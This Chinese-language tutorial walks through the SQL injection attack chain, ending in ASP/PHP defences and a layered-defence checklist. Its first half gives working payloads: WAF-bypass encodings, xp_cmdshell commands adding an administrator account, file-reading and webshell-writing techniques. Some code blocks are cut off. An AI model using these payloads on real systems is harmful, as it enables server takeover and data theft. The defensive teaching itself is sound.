許多初學者知道 SQL 注入「能偷數據」,卻不清晰完整攻擊鏈路。本文系統梳理:**判斷注入點 → 指紋識別數據庫 → 評估 xp_cmdshell 提權 → 尋找 Web 目錄 → 上傳 Webshell → 提權到系統管理員** 的完整殺傷鏈,並給出 ASP/PHP/通用的防注入代碼模式,助力開發者建立「攻防一體」視角。
[1] 判斷注入點 (1=1/1=2, 單引號, 類型轉換)
↓
[2] 指紋識別數據庫類型
├─ Access: MSysObjects 不可讀 / Jet 錯誤特徵
├─ SQL Server: sysobjects 可讀 / USER 變量報錯 / @@version
└─ MySQL: information_schema / @@version / RAND() 報錯
↓
[3] 評估高危提權路徑
├─ 當前 DB 用戶 = sa / dbo ?
├─ xp_cmdshell 可用 ?
├─ sp_OACreate / sp_makewebtask 可用 ?
└─ 是 → 直接執行系統命令、添加用戶、掛馬、備份數據庫 → 完全控制
↓ 否
[4] 低權限曲線滲透
├─ 4.1 發現 Web 物理路徑
│ ├─ 經驗猜解: C:/inetpub/wwwroot, D:/wwwroot...
│ ├─ xp_dirtree / xp_subdirs / xp_cmdshell dir 遍歷
│ └─ bulk insert 讀取已知文件 (web.config, global.asax...)
├─ 4.2 上傳 Webshell
│ ├─ 利用 Web 後台上傳功能 (需先繞過登錄/獲取憑證)
│ ├─ 差備份還原: BACKUP DATABASE TO disk='webpath/shell.asp'
│ ├─ BCP 導出: bcp "SELECT ''" queryout c:\web\shell.php
│ └─ 日志注入: 設置 general_log_file 為 web 目錄 .php 文件
└─ 4.3 提權到 SYSTEM/Administrator
├─ 內核漏洞利用 (CVE-2021-1732, CVE-2022-21882...)
├─ 服務錯誤配置 (無引號服務路徑、啟動參數注入)
├─ DLL 劫持 / 計劃任務 / 啟動項
└─ 讀取 SAM/NTDS.dit 破解離線 Hash
原 SQL:SELECT * FROM news WHERE id=xx
測試序列:
id=49' → 觀察語法錯誤(最簡單但不可靠)id=49 AND 1=1 → 頁面正常,內容一致id=49 AND 1=2 → 頁面異常/空白/BOF/EOF反例:代碼用 CInt(id) → 單引號導致類型轉換錯誤,非 SQL 錯誤;AND 1=1 正常,AND 1=2 也正常(WHERE 條件恆假但語法合法)→ **誤判為無注入**。故**單引號測試不可靠,邏輯判斷法為準**。
原 SQL:SELECT * FROM news WHERE title='xx'
測試:' AND '1'='1 / ' AND '1'='2,邏輯同整型。
| 防禦 | 繞過思路 | Payload 示例 |
|---|---|---|
| 過濾小寫 select/union | 大小寫混淆 | SeLeCt, UnIoN SeLeCt |
| 過濾關鍵字 | Unicode/URL 雙重編碼 | %2553%2545%254C%2545%2543%2554 (SELECT 雙重編碼) |
| 過濾空格 | 利用註釋/括號/換行符 | /**/, (, %0A, %0D |
| WAF 規則匹配 | 語義等價變換、編碼、分塊 | UNI/**/ON SEL/**/ECT, 0x73656c656374 (Hex) |
AND USER>0 → 報錯「將 nvarchar 值 'dbo' 轉換為 int 失敗」
✅ 確認為 SQL Server
✅ 洩露當前用戶:dbo 即 sa 權限
✅ 同理 AND DB_NAME()>0 洩露當前數據库名
| Payload | SQL Server 響應 | Access 響應 |
|---|---|---|
;AND (SELECT COUNT(*) FROM sysobjects)>0 | 正常 (sysobjects 可讀) | 異常/報錯 (無 sysobjects) |
;AND (SELECT COUNT(*) FROM MSysObjects)>0 | 異常 (無 MSysObjects) | 異常 (無權限讀 MSysObjects) 或正常 (罕見配置) |
首選第一個 Payload 判斷,第二個作驗證。
;EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'-- # 添加用戶
;EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'-- # 入組管理員
;EXEC master..xp_cmdshell 'copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe'-- # 製造 Unicode 漏洞
BACKUP DATABASE [db] TO DISK='c:\inetpub\wwwroot\db.bak'-- # 備份數據庫下載
前置條件:當前用戶 = sa (dbo)、xp_cmdshell 未被刪除/禁用、Web 目錄可寫且可執行腳本。
-- 建臨時表
CREATE TABLE ##tmp (id NVARCHAR(255), num1 NVARCHAR(255), num2 NVARCHAR(255), num3 NVARCHAR(255));--
-- 獲取磁盤列表
INSERT INTO ##tmp EXEC master..xp_availablemedia;--
-- 遍歷 C:\ 子目錄
INSERT INTO ##tmp (id) EXEC master..xp_subdirs 'c:\';--
-- 獲取完整目錄樹
INSERT INTO ##tmp (id, num1) EXEC master..xp_dirtree 'c:\';--
-- 讀取文件內容
INSERT INTO ##tmp (id) EXEC master..xp_cmdshell 'type c:\web\config.asp';-- (需 xp_cmdshell)
-- 或
BULK INSERT ##tmp FROM 'c:\inetpub\wwwroot\config.asp';-- (需 BULK ADMIN 權限)
查看結果:AND (SELECT TOP 1 id FROM ##tmp)>0 逐行爆錯讀取。
BACKUP DATABASE [db] TO DISK='c:\web\shell.asp' WITH DIFFERENTIAL, FORMAT, MEDIANAME='x', MEDIADESCRIPTION=''bcp "SELECT ''" queryout c:\web\shell.php -c -S localhost -U sa -P pwdSET GLOBAL general_log=ON; SET GLOBAL general_log_file='c:/web/shell.php'; SELECT '';
<%
' 方法一:Referer 校驗 (防止跨站提交)
Dim FromURL, ServerURL
FromURL = Request.ServerVariables("HTTP_REFERER")
ServerURL = Request.ServerVariables("SERVER_NAME")
If InStr(1, FromURL, ServerURL, 1) = 0 Then
Response.Write "非法來源提交,拒絕處理"
Response.End
End If
' 方法二:參數過濾 (針對 GET/POST/COOKIE)
Dim sql_inj, x, item
sql_inj = "'|--|;|exec|insert|update|delete|drop|create|alter|xp_|sp_|0x|union|select|or|and|having|group by"
For Each x In Split(sql_inj, "|")
For Each item In Request.QueryString
If InStr(1, Request.QueryString(item), x, 1) > 0 Then
Response.Write "檢測到非法 SQL 關鍵字:" & x
Response.End
End If
Next
For Each item In Request.Form
If InStr(1, Request.Form(item), x, 1) > 0 Then
Response.Write "檢測到非法 SQL 關鍵字:" & x
Response.End
End If
Next
Next
%>
警示:黑名單過濾**極易繞過**,僅作緊急臨時防護,**生產環境必須使用參數化查詢**。
PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false, // 真正的預處理
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);
// 查詢
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND status = ?");
$stmt->execute([$_GET['id'], 1]);
$user = $stmt->fetch();
// 寫入
$stmt = $pdo->prepare("INSERT INTO logs (user_id, action, ip) VALUES (?, ?, ?)");
$stmt->execute([$uid, $action, $_SERVER['REMOTE_ADDR']]);
?>
// PHP
function validate_input($input, $type, $max_len = 255) {
switch ($type) {
case 'int': return filter_var($input, FILTER_VALIDATE_INT) !== false;
case 'email': return filter_var($input, FILTER_VALIDATE_EMAIL) !== false;
case 'alpha': return preg_match('/^[a-zA-Z]{1,' . $max_len . '}$/', $input);
case 'alnum': return preg_match('/^[a-zA-Z0-9]{1,' . $max_len . '}$/', $input);
case 'safe': return preg_match('/^[a-zA-Z0-9_\-\.@]{1,' . $max_len . '}$/', $input);
default: return false;
}
}
| 層級 | 措施 | 驗證方式 |
|---|---|---|
| 代碼 | 全站參數化查詢,禁用拼接 SQL | SAST 掃描、Code Review |
| 代碼 | 輸入白名單驗證,輸出語境編碼 | 單元測試、DAST |
| 數據庫 | Web 布號最小權限,禁用高危存儲過程 | 權限審計腳本 |
| 數據庫 | 啟用審計日志,敏感表字段加密 | 日志分析、滲透測試 |
| 中間件 | 關閉詳細錯誤頁,統一錯誤處理 | 掃描器驗證 |
| 網絡 | WAF (ModSecurity/云 WAF) + 規則集更新 | 攻擊模擬、誤報調優 |
| 運維 | 定期滲透測試、漏洞生命周期管理 | 紅藍對抗、應急演練 |
SQL 注入攻擊鏈條清晰、工具成熟,防禦核心在於**「參數化查詢」這一銀彈**,輔以纵深防禦體系。黑名單過濾、Referer 校驗、關鍵字替換均為「止痛藥」,不可作為根治方案。願開發者寫代碼時常問一句:**「這裡用了參數化查詢嗎?」**